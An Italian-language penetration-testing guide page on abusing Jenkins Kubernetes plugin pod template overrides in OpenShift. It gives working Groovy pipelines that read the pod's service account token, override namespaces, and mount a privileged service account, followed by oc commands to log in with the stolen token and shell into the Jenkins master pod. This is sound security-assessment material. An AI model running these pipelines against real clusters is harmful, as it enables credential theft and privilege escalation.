Jenkins in Openshift - sovrascritture del pod di build

Reading time: 4 minutes

L'autore originale di questa pagina è Fares

Plugin Kubernetes per Jenkins

Questo plugin è principalmente responsabile delle funzioni core di Jenkins all'interno di un cluster openshift/kubernetes. Documentazione ufficiale qui Offre alcune funzionalità come la possibilità per gli sviluppatori di sovrascrivere alcune configurazioni predefinite di un pod di build di jenkins.

Funzionalità core

Questo plugin consente flessibilità agli sviluppatori durante la costruzione del loro codice in un ambiente adeguato.

groovy
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}

Alcuni abusi che sfruttano l'override del yaml del pod

Tuttavia, può essere abusato per utilizzare qualsiasi immagine accessibile come Kali Linux ed eseguire comandi arbitrari utilizzando strumenti preinstallati da quell'immagine.
Nell'esempio seguente possiamo esfiltrare il token del serviceaccount del pod in esecuzione.

groovy
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}

Una sintassi diversa per raggiungere lo stesso obiettivo.

groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Esempio per sovrascrivere il namespace del pod

groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Un altro esempio che tenta di montare un serviceaccount (che potrebbe avere più permessi rispetto a quello predefinito, eseguendo la tua build) in base al suo nome. Potresti dover indovinare o enumerare prima i serviceaccount esistenti.

groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

La stessa tecnica si applica per provare a montare un Secret. L'obiettivo finale qui sarebbe capire come configurare il tuo pod build per effettuare un pivot o guadagnare privilegi.

Andare oltre

Una volta che ti sei abituato a giocarci, usa la tua conoscenza su Jenkins e Kubernetes/Openshift per trovare misconfigurazioni / abusi.

Fatti le seguenti domande:

  • Quale account di servizio viene utilizzato per distribuire i pod di build?
  • Quali ruoli e permessi ha? Può leggere i segreti dello spazio dei nomi in cui mi trovo attualmente?
  • Posso enumerare ulteriormente altri pod di build?
  • Da un sa compromesso, posso eseguire comandi sul nodo/pod master?
  • Posso enumerare ulteriormente il cluster per pivotare altrove?
  • Quale SCC è applicata?

Puoi scoprire quali comandi oc/kubectl emettere qui e qui.

Possibili scenari di privesc/pivoting

Supponiamo che durante la tua valutazione tu abbia scoperto che tutte le build di jenkins vengono eseguite all'interno di uno spazio dei nomi chiamato worker-ns. Hai scoperto che un account di servizio predefinito chiamato default-sa è montato sui pod di build, tuttavia non ha molti permessi tranne l'accesso in lettura su alcune risorse, ma sei stato in grado di identificare un account di servizio esistente chiamato master-sa. Supponiamo anche che tu abbia il comando oc installato all'interno del container di build in esecuzione.

Con il seguente script di build puoi prendere il controllo dell'account di servizio master-sa e enumerare ulteriormente.

groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}

A seconda del tuo accesso, o devi continuare il tuo attacco dallo script di build oppure puoi accedere direttamente come questo sa nel cluster in esecuzione:

bash
oc login --token=$token --server=https://apiserver.com:port

Se questo sa ha abbastanza permessi (come pod/exec), puoi anche prendere il controllo dell'intera istanza di jenkins eseguendo comandi all'interno del pod del nodo master, se è in esecuzione all'interno dello stesso namespace. Puoi facilmente identificare questo pod tramite il suo nome e dal fatto che deve montare un PVC (persistent volume claim) utilizzato per memorizzare i dati di jenkins.

bash
oc rsh pod_name -c container_name

Nel caso in cui il pod del nodo master non sia in esecuzione all'interno dello stesso namespace dei worker, puoi provare attacchi simili mirati al namespace master. Supponiamo che si chiami jenkins-master. Tieni presente che il serviceAccount master-sa deve esistere nel namespace jenkins-master (e potrebbe non esistere nel namespace worker-ns).